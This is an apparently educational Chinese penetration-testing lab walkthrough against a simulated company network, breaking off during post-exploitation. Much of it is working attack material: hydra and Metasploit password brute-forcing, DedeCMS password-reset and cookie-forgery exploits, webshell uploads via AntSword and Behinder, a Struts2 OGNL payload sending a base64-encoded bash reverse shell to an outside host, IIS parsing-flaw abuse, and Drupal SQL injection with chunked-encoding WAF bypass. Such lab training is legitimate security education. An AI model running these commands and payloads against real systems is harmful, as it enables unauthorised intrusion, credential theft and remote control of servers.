通过在渗透测试过程中对目标进行各个阶段的渗透,了解并掌握渗透测试的基本流程。
渗透测试综合
渗透测试 (penetration test)并没有一个标准的定义,国外一些安全组织达成共识的通用说法是:渗透测试是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法。这个过程包括对系统的任何弱点、技术缺陷或漏洞的主动分析,这个分析是从一个攻击者可能存在的位置来进行的,并且从这个位置有条件主动利用安全漏洞。
换句话来说,渗透测试是指渗透人员在不同的位置(比如从内网、从外网等位置)利用各种手段对某个特定网络进行测试,以期发现和挖掘系统中存在的漏洞,然后输出渗透测试报告,并提交给网络所有者。网络所有者根据渗透人员提供的渗透测试报告,可以清晰知晓系统中存在的安全隐患和问题。
服务器:Windows Server 2008 1台;防火墙 1台;Kali Linux 1台;windows 10 3台;Centos 7 1台;Ubuntu 20 1台;windows server 2016 1台;
交换机/路由:交换机 5台;路由器 1台;
1.信息收集
2.Web漏洞分析
3.Web漏洞利用
4.权限提升
5.权限维持
6.内网渗透代理
7.内网常见攻击
8.域渗透
9.痕迹清除
单击上方菜单栏中的【环境申请】按钮启动实验拓扑,选择拓扑图中左上方的【攻击机1-kali Linux】,按右键,在弹出的菜单中选择【控制台】,输入账号密码root/com.1234,登录【攻击机1-kali Linux】界面。
右键攻击机1-kali Linux桌面,选择【Open Terminal Here】,打开攻击机1-kali Linux终端。
在攻击机1-kali Linux终端中输入以下命令并按下回车键,使用Gobuster工具进行域名探测,查询出三个子域名分别是www.zhidaf.com、www.zd2.zhidaf.com、www.zd1.zhidaf.com。
gobuster dns -d zhidaf.com -w /tools/zidian/dns.txt -i
注:-w,–wordlist 指定字典文件的路径。
dns -d zhidaf.com 指dns 模式。
-i 显示ip地址。
输入命令nmap 202.1.10.34并按回车,使用NMAP工具对www.zhidaf.com解析后的IP地址进行端口扫描,根据扫描结果显示,该目标服务器上还开启了8080端口,作为Web服务器的代理端口,因此,可以判定该服务器上可能存在旁站。
注:若NMAP扫描不到8080端口,需等待1~2分钟左右,再进行扫描。
在【攻击机1-kali Linux】界面中,单击【攻击机1-kali Linux】左上角的菜单栏图标,在右侧找到【Web Browser】,单击【Web Browser】打开浏览器。
在浏览器的网址输入框中,输入http://202.1.10.34:8080并按回车键,访问显示【智达电器科技有限公司】网页内容。
回到终端,输入以下命令并按下回车,对目标 IP 的 C 段主机进行存活扫描,根据扫描的结果可以判断目标 IP 的 C 段还有哪些主机存活,可以发现当前目标网段中所存活的主机有5台,分别是202.1.10.34、202.1.10.50和202.1.10.57、202.1.10.97、202.1.10.100。初步可以判定当前信息系统中可能存在其他C段服务器。如下图所示。
nmap -sN 202.1.10.0/24
对202.1.10.57主机扫描端口信息,输入命令nmap 202.1.10.57并按回车,根据扫描结果显示,该目标服务器上还开启了80端口,作为Web服务器的代理端口。
在浏览器的网址输入框中,输入http://202.1.10.57并按回车键,需等待1~2分钟访问显示【智达电器科技有限公司–内参】网页内容。
对202.1.10.100主机扫描端口信息,输入命令nmap 202.1.10.100并按回车,根据扫描结果显示,该目标服务器上还开启了80端口,作为Web服务器的代理端口。
在攻击机1-kali Linux终端中输入以下命令并按下回车键,对目标服务器的操作系统信息进行探测,查看结果可看到目标服务器版本为Windows Server 2008。
nmap –sV –O 202.1.10.34
输入Dirbuster命令并按回车,弹出Dirbuster工具窗口。
在【Target URL】输入栏输入URLhttp://www.zhidaf.com。
在【File with list of dirs/files】单击下方的【Browse】按钮,弹出窗口后选择字典路径/tools/zidian/dir-paths.txt。
设置线程数在【Number Of Threads】,设置为20线程数。
设置文件扩展名在【File extension】,默认设置为php。
单击【Start】按钮,开始扫描。DirBuster工具将开始尝试不同的目录和文件名组合,在扫描过程中,可以根据HTTP返回状态码,判断当前目录或文件是否存在。
单击【Results-List View …】选项卡,再单击【Response】列,可查看扫描目标网站存在的路径。
单击【Results-Tree View …】选项卡,可查看扫描目标网站存在的文件列表。
在攻击机1-kali Linux终端中输入以下命令并按下回车键,对http://202.1.10.34:8080的网站进行探测,当前网站所使用的开源CMS版本为Drupal 7。除此之外,使用该工具,还可以探测出其他和目标网站服务器相关的指纹信息,例如Apache的版本号为2.4.39,PHP版本号为5.5.9。如下图所示。
whatweb http://202.1.10.34:8080
在攻击机1-kali Linux终端中输入以下命令并按下回车键,对http://202.1.10.57的网站进行探测,当前网站所=网站开发使用的CMS为WordPress,版本为3.8.1。如下图所示。
whatweb http://202.1.10.57
在CVE漏洞库中检索DedeCMS v5.7信息,获取该版本的CMS存在CVE-2018-10375、CVE-2020-16632、CVE-2021-32073等多个漏洞。
在浏览器的地址栏中,输入https://127.0.0.1/login/logon.html并按回车键,页面显示OpenVAS登录界面。
分别在【Username】输入admin,【Password】输入admin,最后单击【login】按钮。
登录后跳转OpenVAS主体界面。
登录工具首页后,单击Scan菜单,选择【Tasks】选项进入漏洞扫描功能界面。
单击界面左上角的外框内星样图标,选择【New Task】选项,新建一个新的扫描。
配置扫描任务最重要的一点就是要指定目标对象,渗透测试人员首先需要创建一个扫描目标。点击【Scan Targets】参数右边的外框内星样图标。
弹出窗口在【Name】填写为【Web Server】,主机地址为202.1.10.34的目标对象,配置完成后,单击右下角的【Create】按钮。
配置扫描参数。在新的扫描任务配置页面中,指定任务名称为“Web Vulnerabilities”,Scan Targets参数选择之前创建的名为“Web Server”的目标对象,其他任务参数均使用默认,配置完成后,单击右下角的【Create】按钮。
完成扫描任务创建后,即可在扫描任务界面的最底部生成一条名为“Web Vulnerabilities”的扫描任务。点击Actions一栏中的“开始”按钮启动扫描任务,等待OpenVAS完成扫描,扫描可能需要一段时间,具体取决于目标的大小和复杂性。
注:刷新页面可刷新任务的进度条。
当Status字段状态为down时,标识当前扫描任务结束,点击【down】按钮。
进入扫描任务详情页面,可以发现当前目标系统包含多条PHP服务的Web漏洞。
输入以下命令并按回车,使用wpscsan扫描工具扫描目标系统Web站点,当提示【Do you want to update now】按回车即可。
wpscan --url http://202.1.10.57
扫描完成后查看扫描结果,可以判断当前Wordpress站点开启了XML-RPC功能,并且存在xmlrpc.php文件(XML-RPC是WordPress的一项功能,可以实现数据传输,其中HTTP作为传输机制,XML作为编码机制)。
通过扫描结果可以发现,目标站点启用了WP-Cron,可能存在拒绝服务(Dos)攻击。
通过扫描结果发现目标系统所使用的Wordpress版本为3.8.1,可结合该版本所存在的漏洞进行分析。
当前Wordpress所使用的主题样式版本过于陈旧,可能存在主题样式漏洞。
输入以下命令并按回车,使用hydra对目标网站进行rdp弱口令暴力破解。
hydra -l administrator -P /tools/zidian/password.txt -t 20 202.1.10.34 rdp
注:其中-l参数指定用户名为administrator,-P参数指定口令字典为本地系统中的/tools/zidian/passwords.txt文件,-t参数指定线程数为20(线程数越大,速度越快),目标地址为202.1.10.34,服务名称为rdp。
输入以下命令并按回车,使用rdesktop远程登录目标系统服务器,-u参数指定登录用户名为administrator,-P指定用户口令为com.1234,-0指定目标主机为202.1.10.34:3389。在连接过程提示是否信任此证书,输入yes指令如下图所示。
rdesktop -u administrator -p com.1234 -0 202.1.10.34:3389
登录到远程桌面后,可以发现目标服务部署了Apache版本的安全狗WAF防护软件。
新建Linux终端并输入以下命令并按回车,尝试Mysql是否开启远程登录配置,发现当前目标数据库服务开启了远程连接功能,提示登录用户名口令错误。
mysql -umysqluser1 -p123456 -h 202.1.10.34
输入以下命令并按回车,使用hydra对目标系统进行mysql弱口令暴力破解,其中-l参数指定用户名为mysqluser1,使用-P参数指定口令字典为/tools/zidian/password.txt文件,-t参数指定线程数为20,目标为202.1.10.34,服务为mysql。根据扫描结果可以发现当前数据库用户mysqluser1的口令为user1mysql。如下图所示。
hydra -l mysqluser1 -P /tools/zidian/password.txt -t 20 202.1.10.34 mysql
输入以下命令并按回车,使用Hydra破解得到的用户密码进行登录目标系统的MySQL数据库。
mysql -umysqluser1 -puser1mysql -h 202.1.10.34
在攻击机1-kali Linux终端中输入msfconsole命令并按下回车键,进入Metasploit控制台界面。
输入以下命令并按回车,搜索ssh登录相关的模块,可以发现搜索结果中存在auxiliary/scanner/ssh/ssh_login的模块。
search ssh_login
输入以下命令并按回车,通过use指令对该模块进行调用auxiliary/scanner/ssh/ssh_login的模块。
use auxiliary/scanner/ssh/ssh_login
使用【option】或【show option】命令显示需填写的参数选项,需设置的参数有【RHOST】、【USERNAME】、【PASS_FILE】、【THREADS】。
输入以下命令并按回车,通过set命令设置目标系统IP为202.1.10.57。
set rhost 202.1.10.57
输入以下命令并按回车,通过set命令设置目标系统ssh用户名为admin。
set username admin
输入以下命令并按回车,通过set命令设置密码字典路径为/tools/zidian/password.txt。
set PASS_FILE /tools/zidian/password.txt
输入以下命令并按回车,通过set命令设置线程数为10 。
set threads 10
填写完成后,再次【option】命令检查参数是否填写正确。
完成攻击模块参数配置后,即可通过run命令开始弱口令暴力破解。显示admin用户的登录口令为admin@123。
完成破解后,渗透测试人员即可继续对admin用户登录口令进行验证。在使用ssh [email protected]命令登录时,需要输入yes指令确定此次ssh连接。
选择拓扑图中左下方的【攻击机2-Windows】,按右键,在弹出的菜单中选择【控制台】。
单击桌面火狐浏览器图标并打开火狐浏览器。
在地址栏中输入http://202.1.10.57/wp-login.php并按回车,进入后台登录页面。
后台登录页面输入错误的用户名【123456】和密码【123456】。
单击火狐浏览器右上角【三】图标,弹出菜单栏,单击选择【选项】。
依次单击【常规】→网络设置的【设置】按钮,进入火狐浏览器代理窗口。
单击【手动配置代理】单选按钮,并单击【确定】按钮,完成浏览器代理服务配置。
双击桌面上的【BurpSuiteCommunity.exe】图标,打开BurpSuite工具,弹出窗口依次单击【Next】→【Start Burp】。
弹出BurpSuite工具窗口后,单击【Proxy】选项卡,并单击【Options】选项卡,查看BurpSuite工具代理配置是否与火狐浏览器代理服务配置一致。
单击【Intercept】选项卡,并单击【Intercept is off】按钮,直至【Interccept is off】按钮变【Interccept is on】按钮。
回到火狐浏览器中,单击【login】按钮。
回到BurpSutie工具中,发现已抓到了数据。
将登录请求数据包发送至Intruder模块,右键点击拦截的登录请求数据界面,选择【Send to Intruder】选项。
单击【Intruder】选项卡。
在模块的Positions选项中,单击【Clear §】按钮清除所有默认的标记参数。
选择在【log=】后面【123456】,单击【Add §】按钮。
选择在【pwd=】后面【123456】,单击【Add §】按钮。
在【Attack type】下拉菜单设置为【Cluster Bomb】。
在Intruder模块的Payload选项卡中。
单击下方【Payload Opions [Simple lst]】的【load】按钮,加载一个用户名字典文件。
单击下方【Payload Set】下拉菜单选择【2】。
单击下方【Payload Opions [Simple lst]】的【load】按钮,加载一个用户名字典文件。
选择桌面【工具】→【字典】→【userpass.txt】,单击【打开】按钮,加载字典。
单击【Start attack】按钮。
弹出窗口后,单击【ok】按钮。
开始暴力破解。
单击【length】一列,可看到当Payload1值为【wordpress】,Payload2值为Wordpress@123时,状态码与长度不同于其他组合,因此可以判断当前网站存在一个名为wordpress的后台管理账户,口令为【Wordpress@123】。
单击【Intercept】选项卡,并单击【Intercept is off】按钮,直至【Interccept is on】按钮变【Interccept is 0ff】按钮。
回到浏览器窗口,重新在地址栏中输入http:202.1.10.57/wp-login.php并按回车,进入后台登录页面。
填写用户名【wordpress】,密码【Wordpress@123】。
成功登录后台。
完成后单击【Intercept】选项卡,并单击【Intercept is on】按钮,直至【Interccept is on】按钮变【Interccept is off】按钮。
在浏览器的地址栏中,输入http://202.1.10.34并按回车键,页面显示网站的主页。
在网站首页会员登录板块点击【忘记密码】按钮。
跳转到用户找回密码页面,在用户名文本框中填入需要进行密码修改的用户admin。如下图所示。
按F12键打开浏览器开发者工具界面,单击【HackBar】选项卡。
单击【HackBar】工具左侧的【Load URL】,并勾选下方【Post data】选项,填写POC【dopost=safequestion&safequestion=0.0&safeanswer=&id=1】,在Hackbar工具中构造用于获取会员修改密码操作所需Key值的POC。
单击【Intercept】选项卡,并单击【Intercept is off】按钮,直至【Interccept is off】按钮变【Interccept is on】按钮。
回到浏览器后,在HackBar工具栏中单击【Execute】按钮。
单击【Forward】按钮,转发抓包的数据。
继续单击【Forward】按钮,直至出现如下图所示。
单击【Intercept】选项卡,并单击【Intercept is on】按钮,直至【Interccept is on】按钮变【Interccept is off】按钮。
在【Proxy】选项卡中单击【HTTP history】,单击在URL列中【/member/resetpassword.php?dopost...】选项,可查看在下方数据包中查看到所需Key值,复制Key值。
重新打开浏览器,在地址栏中输入地址http://202.1.10.34/member/resetpassword.php,填写用户名为admin,按F12找到HackBar工具,单击【HackBar】工具左侧的【Load URL】,并勾选下方【Post data】选项,填写POC【dopost=getpasswd&id=1&key=VT2mo1ZW】,下方代码框XXXXX替换获取到的实际key值。
dopost=getpasswd&id=1&key=XXXXX
注:此处的key值为BurpSuite工具抓包的数据,key值以实际抓包的key值为准。
单击【Execute】按钮。
单击【Execute】按钮后,跳转网页显示内容【找回密码第二步】。
在两处【新密码】填写【11111111】,单击【下一步】按钮后,网站管理员用户admin的前台密码即被修改。
单击【下一步】按钮后,地址跳转网站用户登录页面。
在信息收集环境中,渗透测试人员已知该网站存一个普通会员账号,该账号用户名为test1,密码为test1.com。
填写用户名密码以及验证码,单击【登录】按钮。
登录test1用户后,单击【会员空间】选项。
跳转后,可看到会员空间,用户test1已登录状态。
回到Burp Suite窗口,单击【Intercept】选项卡,并单击【Intercept is off】按钮,直至【Interccept is off】按钮变【Interccept is on】按钮。
回到浏览器窗口刷新当前页面。
回到Burp Suite窗口,找到【DedeUserID】和【DedeUserID__ckMd5】的键与值。
找到【last_vid】和【last_vid__ckMd5】的值。
将所抓取数据包中的【DedeUserID】的值替换为【last_vid】的值,将【DedeUserID__ckMd5】的值替换为【last_vid__ckMd5】的值。
回到Burp Suite窗口,单击【Forward】按钮,将修改完成的数据包转发。
提交修改后的数据包,发现用户变成了admin。
在浏览器的地址栏中,输入http://202.1.10.34/member/edit_baseinfo.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=1并按回车键,回到BurpSuite工具界面,继续单击【Forward】按钮直至出现下图数据包内容,同样将所抓取数据包中的【DedeUserID】的值替换为【last_vid】的值,将【DedeUserID__ckMd5】的值替换为【last_vid__ckMd5】的值。
继续单击【Forward】按钮,网页跳转出现admin基本资料页面。
回到BurpSuite窗口,单击【Intercept】选项卡,并单击【Intercept is on】按钮,直至【Interccept is on】按钮变【Interccept is off】按钮。
设置【原登录密码】设置为【11111111】,【新密码】和【确认新密码】设置为【12345678】。
回到BurpSuite窗口,单击【Intercept】选项卡,并单击【Intercept is off】按钮,直至【Interccept is off】按钮变【Interccept is on】按钮。
页面下拉底部,填写验证码,单击【更新】按钮。
回到Burp Suite,同样将所抓取数据包中的【DedeUserID】的值替换为【last_vid】的值,将【DedeUserID__ckMd5】的值替换为【last_vid__ckMd5】的值。
继续单击【Forward】按钮直至浏览器页面显示【成功更新你的基本资料!】。
回到BurpSuite窗口,单击【Intercept】选项卡,并单击【Intercept is on】按钮,直至【Interccept is on】按钮变【Interccept is off】按钮。
由流程一(4)对目标网站进行目录结构扫描得知目标网站的后台网站为http://202.1.10.34/dede,回到浏览器,在地址栏输入网站后台地址并按下回车,显示【管理登录】,输入用户名【admin】,密码【12345678】,以及填写验证码,最后单击【登录】按钮。
网站跳转后,已跳转至网站后台显示【您好:admin…】,表示成功篡改了admin用户的密码。
依次单击菜单【系统】→【系统基本参数】,进入【Dede系统配置参数】配置页面。
单击【Dede系统配置参数】配置页面的【附件设置】菜单按钮,在【允许上传的软件类型】,填写【|php|aspx】,添加php和aspx文件上传类型。
完成之后下拉页面,单击【确定】按钮。
跳转页面提示【成功更改站点配置】。
在桌面新建文本文档,输入以下php代码,使其php页面显示返回PHP的所有信息,最后重命名文件为test.php如下图所示。
<?php
phpinfo();
?>
选择拓扑图中左上方的【攻击机1-kali Linux】,按右键,在弹出的菜单中选择【控制台】,输入账号密码root/com.1234,登录【攻击机1-kali Linux】界面。
回到linux终端使用cd命令进入/tools/Others,并使用以下命令使用python3开启临时http协议。
cd /tools/Others
python3 -m http.server 80
选择拓扑图中左下方的【攻击机2-Windows】,按右键,在弹出的菜单中选择【控制台】,登录【攻击机2-Windows】界面。
在浏览器地址栏输入http://67.220.91.30,并按下回车,显示文件列表【test.jpg】,右键此文件弹出菜单选择【从链接另存文件为…】,保存至桌面。
回到dedecms后台依次单击【核心】→【上传新文件】,进入上传新文件配置页面。
单击上传新文件配置页面的【选择文件】按钮,分别上传桌面的test.php、test.jpg文件和上传aspx木马文件,aspx木马文件的路径在桌面【工具】文件夹→【Behinder】文件→夹【server】文件夹→【shell.aspx】文件。
在【说明标题】填写名称为【test】,最后单击【保存】按钮。
跳转页面显示【成功上传了3个文件!】。
跳转页面进入附近数据管理配置页面。
分别单击test3、test2、test的【更改】按钮,进入更改媒体页面,在【原文件】显示上传文件的相对路径,复制test2的URL。
在浏览器的地址栏中,输入http://202.1.10.34/uploads/soft/231124/1_1643296962.php并按回车键,发现phpinfo()函数被成功执行。
注:此处URL以实际上传的文件路径为准。
打开攻击机2-Windows桌面上的火狐浏览器,在浏览器的地址栏中,输入www.zd2.zhidaf.com:8080并按回车键,页面显示网站的主页。
按F12键查看网站源代码,发现.action后缀,可以判断当前站点使用Struts2框架进行搭建,并且id值为空。
在浏览器的地址栏中,输入www.zd2.zhidaf.com:8080/?id=%25%7b+%27ceshi-%27+%2b+(100+%2b+50).toString()%7d并按回车键,id值变为ceshi-150,Ognl表达式为%{'ceshi-'+(100+50).toString()}。
单击【Intercept】选项卡,并单击【Intercept is off】按钮,直至【Interccept is off】按钮变【Interccept is on】按钮。
在浏览器的地址栏中,输入www.zd2.zhidaf.com:8080并按回车键,BurpSuite工具拦截到数据,右键空白处,弹出菜单后选择【Send to Reoeater】。
将数据包发送至Repeater模块后,右键单击选择【Change request method】选项,更改数据包请求方式。
更改数据包请求方式后,请求方式为POST。
删除第10~11行代码。
双击桌面上的工具文件夹,找到payload.txt文件。
打开payload.txt文件,复制里面的payload的内容至BurpSuite的请求数据中。
单击左侧【Send】按钮,构造Payload,获取目标网站服务器的用户id,当前目标服务器用户为root,则表示可成功执行系统命令。
单击BurpSuite的【Decoder】选项卡,对所需Bash语句进行base64编码,左侧大空白区填写bash语句,输入以下bash语句,bash语句表示为使用TCP协议连接67.220.91.30的5555端口。
bash –i >& /dev/tcp/ 67.220.91.30/5555 0>&1
单击【Encode as …】拉下菜单,选择【Base64】,将其bash语句编码为base64。
下方则显示bash语句编码后的base64。
复制base64编码,单击【Repeater】选项卡,输入以下命令,替换payload的【id】字符串。
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC82Ny4yMjAuOTEuMzAvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}
注:在构造的新数据包中其中add()函数内需要指定base64编码后的bash语句,bash –c指令会从第一个非选项参数后面的字符串中读取命令,如果字符串有多个空格,第一个空格前面的字符串是要执行的命令。通过管道符“|”进行命令拼接,再次将编码后的Bash语句进行base64解码,然后在系统中执行。
输入以下命令,使用netcat开启本地监听,本地监听端口为5555。
nc -lvvp 5555
注:以下为-lvvp命令的详解:
-l 监听模式
-vv 比-v更详细的输出
-p 设置本地端口
-e 绑定命令行
回到【攻击机2-Windows】界面,在Burpsuite抓包工具的【Repeater】模块中,单击【Send】按钮,右侧响应报文回显结果为空。
回到【攻击机1-kali Linux】界面,当bash指令被写入和执行后,此时在kali linux攻击端所创建的nc监听即可被响应,可以发现响应结果中包含目标服务器的终端标识符。
执行ip add命令,可以发现当前目标服务器的IP地址为172.18.0.2/16。
执行ls命令可以发现,存在Dockerfile文件,并且终端提示符中看似是一个docker容器名称,由此基本可以断定当前网站服务是部署在目标服务器的Docker容器中。
完成后单击【Intercept】选项卡,并单击【Intercept is on】按钮,直至【Interccept is on】按钮变【Interccept is off】按钮。
选择拓扑图中左上方的【攻击机1-kali Linux】,按右键,在弹出的菜单中选择【控制台】,输入账号密码root/com.1234,登录【攻击机1-kali Linux】界面。
回到Linux终端使用cat命令查看/tools/Others/test.jpg,其中shell连接密码为【a】。
在浏览器的地址栏中,输入http://202.1.10.34/uploads/allimg/231124/1_1643296361.jpg并按回车键,页面显示【The image “http://202.1.10.34/uploads/allimg/231124/1_1643296361.jpg”…】,打开浏览器直接访问木马文件,发现访问请求失败,显示Error信息。
在浏览器的地址栏中,输入http://202.1.10.34/uploads/allimg/231124/1_1643296361.jpg/.php并按回车键,目标网站会因解析错误,将test.jpg文件解析为test.php文件,并且文件内容的一句话被执行,显示结果为空。
注:此处URL以实际上传的文件路径为准。
目标网站正常情况是无法正常解析一个包含php代码的错误图片请求。但可通过IIS解析漏洞使其木马文件被正常解析为PHP文件。
输入以下命令,并按回车键,使用cd命令进入蚁剑webshell工具的目录下。
cd /tools/AntSowrd-Loader-v4.0.3-linux-x64
输入以下命令,并按回车键,打开蚁剑webshell工具并弹出图形化窗口。
./AntSword
打开蚁剑工具,右键单击空白处,在快捷菜单中选择“Add”选项,添加一个新的Shell链接。
弹出Add shell配置shell窗口,设置【Shell url】内容为http://202.1.10.34/uploads/allimg/231124/1_1643296361.jpg/.php,【Shell pwd】内容为【a】,最后单击【Add】按钮完成添加。
添加完成后,窗口右下角,显示【Add shell success!】,添加成功。
完成Shell链接创建,工具首页的Shell列表中生成相关条目,双击下图所创建的Shell链接。
Shell连接建立,中国蚁剑工具界面显示目标网站文件资源等相关信息。
在攻击机1-kali Linux终端中输入wafw00f http://202.1.10.34:8080命令并按下回车键,对【目标网站1】的网站进行WAF测试。
测试完成后,其中终端则显示【The site ishttp://202.1.10.34:8080behind Safedog (SafeDog) WAF】,表示当前目标网站存在安全狗WAF。
选择拓扑图中左下方的【攻击机2-Windows】,按右键,在弹出的菜单中选择【控制台】,登录【攻击机2-Windows】界面。
打开攻击机2-Windows桌面上的火狐浏览器,在浏览器的地址栏中,输入http://202.1.10.34:8080并按回车键,页面显示网站的主页。
单击【Intercept】选项卡,并单击【Intercept is off】按钮,直至【Interccept is off】按钮变【Interccept is on】按钮。
回到浏览器,输入任意用户名和密码信息,如用户名为admin,密码为ADMIN, 单击【Log in】按钮提交登录请求。
回到Burp Suite窗口,Burp Suite将拦截访问请求,抓取到POST请求数据包。
右键下方空白处,弹出菜单后选择【Send to Repeater】选项。
单击【Repeater】选项卡,跳转至Repeater选项窗口。
在左侧的第15行代码的【Log+in】结尾处修改POC为以下语句,并单击【Send】按钮。
&name[0 or updatexml(0,concat(0xa,(SELECT table_name FROM information_schema.tables WHERE table_schema like database()limit 70,1)),0)%23]=bob&name[0]=a
注:该payload为爆出drupal数据库中用于存储登录用户的数据表。修改数据包内容,将pass字段后面的内容替换为所构造的POC内容并重新发送请求。通过借助MySQL自带的information_schema数据库查询目标服务drupal数据库下的数据表信息。
单击左侧【Send】按钮,并在右侧【Response】区域单击【Render】,可看到网页呈现的内容,右侧可看到使用爆出drupal数据库中用于存储登录用户的数据表的POC语句被WAF所拦截。
单击【Extender】选项卡,进入拓展配置页面,在下方Burp Exetnsions,单击【Add】按钮,添加插件。
弹出【Load Burp Extension】窗口,在Extension Deteails区域,单击【Select fil…】按钮,选择插件在桌面【工具】文件夹的【chunked-coding-converter-0.4.0.jar】自动分块插件,最后单击【打开】按钮。
选择完插件后,回到【Load Burp Extension】窗口,单击右下角的【Next】按钮。
弹出插件加载完毕窗口,内容显示【The extension loaded successfully…】,单击【close】按钮。
单击【Repeater】选项卡,跳转至Repeater选项窗口。
右键【Request】空白处,弹出菜单后依次选择【Extensions】→【Chunked coding converter 0.4.0】→【Chunked coding converter】→【Config】进入分块插件配置页面。
弹出【Chunked coding converter config】窗口,设置在【Length of chunked】的【3-5】,取消【Add comments】对钩,最后单击【Save】按钮,保存配置参数。
再次右键【Request】空白处,弹出菜单后依次选择【Extensions】→【Chunked coding converter 0.4.0】→【Chunked coding converter】→【Encoding request body】,对请求体的内容进行自动分块设置。
单击【Send】按钮,在右侧【Response】区域可看到已不再显示WAF拦截页面,而是正常显示该网站的报错页面,表示已成功绕过WAF。
在右侧【Response】区域,单击【RAW】选项,并在右侧【Response】区域的第73行代码可看到当前drupal数据库中存在一个用于登录用户的users数据表。
在右侧【Response】区域按住ctrl+z,撤回至添加payload代码之前的状态,第15行代码的【Log+in】结尾处添加POC为以下语句。
&name[0 or updatexml(0,concat(0xa,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema like database()and table_name like'users')),0)%23]=bob&name[0]=a
注:构造POC,爆出users数据表中存在的字段名称。修改数据包内容,将pass字段后面的内容替换为所构造的POC内容并重新发送请求。
右键【Request】空白处,弹出菜单后依次选择【Extensions】→【Chunked coding converter 0.4.0】→【Chunked coding converter】→【Encoding request body】,对请求体的内容进行自动分块设置。
单击【Send】按钮,在右侧【Response】区域,单击【RAW】选项,并在右侧【Response】区域的第73行代码可看到当前users数据表中存在的字段名称分别为uid、name、pass、mail、theme、signat。
在右侧【Response】区域按住ctrl+z,撤回至添加payload代码之前的状态,第15行代码的【Log+in】结尾处添加POC为以下语句,并单击【Send】按钮。
&name[0 or updatexml(0,concat(0xa,substring((SELECT group_concat(name,' ',pass) FROM users),1,60)),0)%23]=bob&name[0]=a
注:构造POC,爆出users数据表中所有字段数据信息。根据上一步骤查询出的字段,选择用处比较大的字段(name、pass)进行查看,将pass字段后面的内容替换为POC内容,查询出usres表中相关字段的值。
右键【Request】空白处,弹出菜单后依次选择【Extensions】→【Chunked coding converter 0.4.0】→【Chunked coding converter】→【Encoding request body】,对请求体的内容进行自动分块设置。
单击【Send】按钮,在右侧【Response】区域,单击【RAW】选项,并在右侧【Response】区域的第73行代码可看到当前users数据表中存在一个名为admin的用户。
完成后单击【Intercept】选项卡,并单击【Intercept is on】按钮,直至【Interccept is on】按钮变【Interccept is off】按钮。
依次打开进入桌面的【工具】文件夹→【Behinder】文件,双击【Behinder.bat】文件,弹出冰蝎的工具窗口。
在冰蝎的工具窗口下,右键弹出菜单,选择【新增】选项。
设置shell链接参数配置,URL设置为【http://202.1.10.34/uploads/soft/231124/1_1735045063.aspx】密码设置为【pass】,最后单击保存按钮。
单击选中下图红框处并双击,
等待连接至到显示环境变量内容。
弹出窗口后,单击【虚拟终端】选项卡,并单击右侧的【启动】按钮。
输入以下命令并按回车,查看目标服务器计划任务详情,当前目标信息查询可能存在编码问题,系统提示“错误:无法加载列资源信息”。如下图所示。
schtasks /query /fo LIST
输入chcp 437命令并按回车,修改编码格式。
再次输入以下命令并按回车,查看目标服务器计划任务详情,发现目标服务器存在一个名为【restart】的任务计划。
schtasks /query /fo LIST
单击【文件管理】标签页,单击右侧的【打开路径】按钮,连接该路径地址。
在【C:/inetpub/wwwroot/】目录下存在一个名为【restart.bat